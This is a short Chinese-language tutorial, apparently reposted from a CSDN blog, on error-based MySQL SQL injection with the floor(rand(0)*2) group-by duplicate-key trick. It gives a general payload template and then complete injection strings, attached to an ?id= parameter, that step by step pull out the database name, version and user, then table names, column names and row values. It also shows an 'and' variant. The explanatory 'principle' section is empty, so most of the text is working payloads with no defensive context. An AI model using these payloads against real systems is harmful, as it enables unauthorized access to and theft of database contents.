利用floor(rand(0)*2)报错返回信息

一、 报错原理

二、通用格式

   ?id=1 union select (select 1 from (select count(*),concat((payload),floor(rand(0)*2))x from information_schema.tables group by x)a)   //将payload插入即可 

三、利用报错返回信息

1. 返回数据库名称、版本信息、用户名称

   // payload   (select concat(0x7e,database(),0x7e,version(),0x7e,user(),0x7e) 

   // 整体语句  id=1 union select (select 1 from(select count(*),concat((select concat(0x7e,database(),0x7e,version(),0x7e,user(),0x7e)),floor(rand(0)*2))x from information_schema.tables group by x)a); 

2. 返回该数据库中表信息

    // payload    (select concat(0x7e,table_name,0x7e)from information_schema.tables where table_schema=database() limit 0,1)    //注意指定数据库，否则返回的是information_schema的表名信息 

   // 整体语句    ?id=1 union select (select 1 from (select count(*),concat((select concat(0x7e,table_name,0x7e)from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) 

3. 返回列信息

   //payload    (select concat(0x7e,column_name,0x7e)from information_schema.columns where table_name='region' limit 0,1) 

   //整体语句    ?id=1 union select (select 1 from (select count(*),concat( (select concat(0x7e,column_name,0x7e)from information_schema.columns where table_name='region' limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)    //替换limit的值，获得全部列名称 

4. 获得字段值

   //payload    (select concat(0x7e,id,0x7e,pid,0x7e,name,0x7e,type,0x7e)from region limit 0,1) 

   //整体语句    ?id=1 union select (select 1 from (select count(*),concat((select concat(0x7e,id,0x7e,pid,0x7e,name,0x7e,type,0x7e)from region limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) 

可将union select替换为and

即：

   ?id=1 and (select 1 from (select count(*),concat((select concat(0x7e,id,0x7e,pid,0x7e,name,0x7e,type,0x7e)from region limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) 

数据库技术:SQL注入–利用floor(rand(0)*2)报错返回信息地址：https://blog.csdn.net/weixin_44940180/article/details/107633091

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